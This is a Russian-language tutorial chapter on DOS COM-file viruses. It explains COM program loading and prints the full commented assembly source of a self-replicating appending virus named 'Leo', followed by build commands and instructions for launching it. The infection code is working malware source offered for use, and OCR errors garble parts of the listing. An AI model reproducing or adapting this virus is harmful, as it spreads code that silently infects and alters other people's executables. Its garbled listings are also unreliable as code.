InfoCity
InfoCity - виртуальный город компьютерной документации
Реклама на сайте







Размещение сквозной ссылки

 

СОМ-вирусы


В этой главе рассказано об алгоритмах работы вирусов, заражающих СОМ-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы СОМ-программы.

Компьютерные вирусы могут "гнездиться" в самых неожиданных местах, например, в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических библиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение вируса, поражающего СОМ-файлы.

Структура и процесс загрузки СОМ-программы


Что же представляет собой СОМ-программа, как она загружается в память и запускается?

Структура СОМ-программы предельно проста - она содержит только код и данные программы, не имея даже заголовка. Размер СОМ-программы ограничен размером одного сегмента (64Кбайт).

И еще два понятия, которые часто будут встречаться:

Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh) байт, предшествующая программе при ее загрузке. PSP содержит данные командной строки и относящиеся к программе переменные.

Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встречаться в листингах программ.

Загрузка СОМ-программы в память и ее запуск происходят так:

1. Определяется сегментный адрес свободного участка памяти достаточного для размещения программы размера.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;

сегментЮЮОЬ - программа). В поля PSP заносятся соответствующие значения.

4. Устанавливается адрес DTA равным PSP:0080h.

5. Загружается СОМ-файл с адреса PSP:0100h.

6. Значение регистра АХ устанавливается в соответствии с параметрами командной строки.

7. Регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP.-OOOOh).

8. Регистр SP устанавливается на конец сегмента, после чего в стек записывается OOOOh.

9. Происходит запуск программы с адреса PSP:0100h.

СОМ-программа всегда состоит из одного сегмента и запускается со смещения OlOOh.

Простейший СОМ-вирус


В начале СОМ-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды OE9h, следующие два - адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только СОМ-файлы, начинающиеся с команды JMP. Благодаря простому строению СОМ-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.

После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.

Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге СОМ-программы. Для этого используется функция 4Eh (найти первый файл):

11.jpg

Рис. 1.1. Тело вируса записывается в конец файла, туда же переносится оригинальный JMP, на место которого записывается инструкция JMP на тело вируса.

;Ищем первый файл по шаблону имени
mov ah,4Eh

mov dx,offset fname - offset myself
add dx.bp
mov cx,00100111b
int 21h

Затем вирус проверяет (по первому байту файла), подходят ли ему найденные СОМ-программы:

[Открываем файл
Open:

mov ax,3D02h

mov dx,9Eh

int 21h

;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

; Читаем первый байт файла
See_Him:

xchg bx,ax

mov ah,3Fh

mov dx,offset buf-offset myself

add dx.bp

xor ex,ex ;CX=0

12.jpg

inc ex [(увеличение на 1) СХ=1
int 21h

Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего

.файла - этот для заражения не подходит

cmp byte ptr [bp+(offset buf-offset myself )],OE9h

jne find_next

Перед заражением файла вирус проверяет сигнатуру - не исключено, что файл уже заражен:

Переходим в конец файла (на последний байт)
mov ax,4200h
xor ex,ex

mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h

;Читаем сигнатуру вируса
Read:

mov ah,3Fh

xor ex,ex

inc ex

mov dx.offset bytik-offset myself

add dx.bp

int 21h

.Если при чтении файла ошибок не произошло,

[Проверяем сигнатуру,

;иначе ищем следующий файл

jnc test_bytik

jmp find_next

[Проверяем сигнатуру
Test_bytik:

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte

;Если сигнатура есть, то ищем другой файл,
.если ее нет - будем заражать

je find_next2

jmp NotJnfected

Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:

[Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h

Останавливаем регистр DS на сегмент кода
push cs
pop ds

[Копируем вирус в файл
mov ah,40h

mov cx.offset VirEnd-offset la
mov dx,bp

sub dx,offset myself-offset la
int 21h

[Записываем в начало файла переход на тело вируса
Write_Jmp:

.Переходим в начало файла
xor сх.сх
xor dx,dx
mov ax,4200h
int 21h

[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3

mov dx, offset jmpvir-offset myself
add dx.bp
int 21h

После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем - исходная программа. Благодаря такой схеме работы рассматриваемый

вирус может спокойно существовать, будучи один раз выпущенным на волю.

Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:

tasm.exe leo.asm
tlink leo.obj/t

В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других СОМ-файлов. После запуска LEO.COM вирус внедрится во все остальные СОМ-файлы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:

.286 .Устанавливаем тип процессора
CheckByte equ OFOh

[Указываем, что регистры CS и DS содержат
;адрес сегмента кода программы
assume cs:code, ds:code

;Начало сегмента кода. В конце программы сегмент кода нужно
;закрыть - "code ends"
code segment

Останавливаем смещения в сегменте кода.

Данная строчка обязательна

;для СОМ-программы (все СОМ-программы

начинаются с адреса 100h)

org 100h

e="3">start:

;Имитируем зараженный СОМ-файл.
;Тело вируса начинается с метки la
; jmp la

db OE9h ;Код команды JMP

dw offset la-offset real
real:

[Выходим из программы
mov ah,4Ch
int 21 h

;3десь начинается тело вируса
la:

;Сохраняем регистры и флаги
pushf
pusha
push ds es

.Получаем точку входа.

;Для этого вызываем подпрограмму (следующий

;за вызовом адрес) и читаем из стека адрес возврата

call MySelf
MySelf:

pop bp

восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]-offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]-offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]-offset MySelf)]
mov byte ptr cs:[102h],al

[Дальнейшая задача вируса - найти новую жертву.

;Для этого используется функция 4Eh (Найти первый файл).

;Ищем файл с любыми атрибутами

Find_First:

.Ищем первый файл по шаблону имени
mov ah,4Eh

mov dx.offset fname-offset myself
add dx.bp

mov cx,00100111b
int 21 h

;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit
attributes:

.Читаем оригинальные атрибуты файла
mov ax,4300h

mov dx,9Eh .Адрес имени файла
int 21 h

.Сохраняем оригинальные атрибуты файла
push ex

•.Устанавливаем новые атрибуты файла
mov ax,4301h

mov dx,9Eh .Адрес имени файла
mov cx,20h
int 21 h

Переходим к открытию файла
jmp Open

;Ищем следующий файл, так как предыдущий не подходит
FincLNext:

;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h

mov dx,9Eh ;Адрес имени файла
pop сх
int 21 h

[Закрываем файл
mov ah,3Eh
int 21 h

;Ищем следующий файл
mov ah,4Fh
int 21 h

;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)

jnc attributes

jmp exit

.-Открываем файл
Open:

mov ax,3D02h

mov dx,9Eh

int 21 h

;Если при открытии файла ошибок не произошло -
.переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла
See_Him:

xchg bx.ax

mov ah,3Fh

mov dx.offset buf-offset myself

add dx,bp

xor ex,ex ;CX=0

inc ex [(увеличение на 1) СХ=1

int 21 h

.Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла -

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf-offset myself )],OE9h

jne find_next

; Переходим в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h

[Читаем первые три байта файла в тело вируса
See_Him2:

mov ah,3Fh

mov dx,offset bytes_3-offset myself

add dx.bp

mov cx,3

int 21 h

.Получаем длину файла, для чего переходим в конец файла
Testik:

mov ax,4202h

xor ex,ex

xor dx.dx

int 21h
Size_test:

;Сохраняем полученную длину файла

mov [bp+(offset flen-offset MySelf)],ax

[Проверяем длину файла
cmp ax.64000

;Если файл не больше 64000 байт,- переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

jna richJest

jmp find_next

Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
RichJest:

[Переходим в конец файла (на последний байт)
mov ax,4200h
xor сх.сх

mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h

;Читаем сигнатуру вируса
Read:

mov ah,3Fh

xor ex,ex

inc ex

mov dx,offset bytik-offset myself

add dx.bp
int 21 h

;Если при чтении файла ошибок

;не произошло - проверяем сигнатуру,

.иначе ищем следующий файл

jnc test_bytik

jmp tind_next

;Проверяем сигнатуру
Test_bytik:

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte

;Если сигнатура есть, то ищем другой файл,
.если нет - будем заражать

jne NotJnfected

jmp find_next

.Файл не заражен - будем заражать
NotJnfected:

mov ax,[bp+(offset flen-offset myself)]

sub ax,03h

mov [bp+(offset jmp_cmd-offset myself)],ax
l_am_copy:

.Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21 h

[Устанавливаем регистр DS на сегмент кода
push cs
pop ds

.Копируем вирус в файл
mov ah,40h

mov ex,offset VirEnd-offset la
mov dx.bp

sub dx,offset myself-offset la
int 21 h

Записываем в начало файла переход на тело вируса
Write_Jmp:

.Переходим в начало файла
хог сх.сх
xor dx,dx
mov ax,4200h
int 21 h

[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3

mov dx.offset jmpvir-offset myself
add dx.bp
int 21h

;3акрываем файл
Close:

mov ah,3Eh

int 21h

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh

pop ex

int 21h
exit:

восстанавливаем первоначальные значения регистров и флагов
pop es ds
рора
popf

Передаем управление программе-носителю
push 100h
retn

-.Байт для чтения сигнатуры
bytik db (?)

.Зарезервировано для изменения трех байт вируса
jmpvir db OE9h
jmp_cmd dw (?)

;Длина файла
flen dw (?)

;Шаблон для поиска файлов
fname db "*.com",0

;0бласть для хранения команды перехода
bytes_3 db 90h, 90h, 90h

;Байт памяти для чтения первого байта файла
;с целью проверки (Е9п)
buf db (?)

;Название вируса
virus_name db "Leo"

;Сигнатура

a db CheckByte

VirEnd:

code ends

end start

Способы внедрения СОМ-вирусов


Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.

Рассмотрим два варианта внедрения СОМ-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место - в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3.

13.jpg

Рис. 1.3.

При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса OlOOh). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4.

Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 1.5.

После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид

14.jpg

программы, переносит к адресу OlOOh все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6.

Существуют разновидности вирусов, не дописывающие часть своего тела в конец файла. К примеру, вирус может внедряться в середину файла. В этом случае алгоритм работы вируса является смесью алгоритмов одного из двух только что описанных вирусов и вируса, описанного в разделе "Простейший СОМ-вирус".

15.jpg

[Назад][Содержание][Вперед]


Реклама на InfoCity

Яндекс цитирования



Финансы: форекс для тебя








1999-2009 © InfoCity.kiev.ua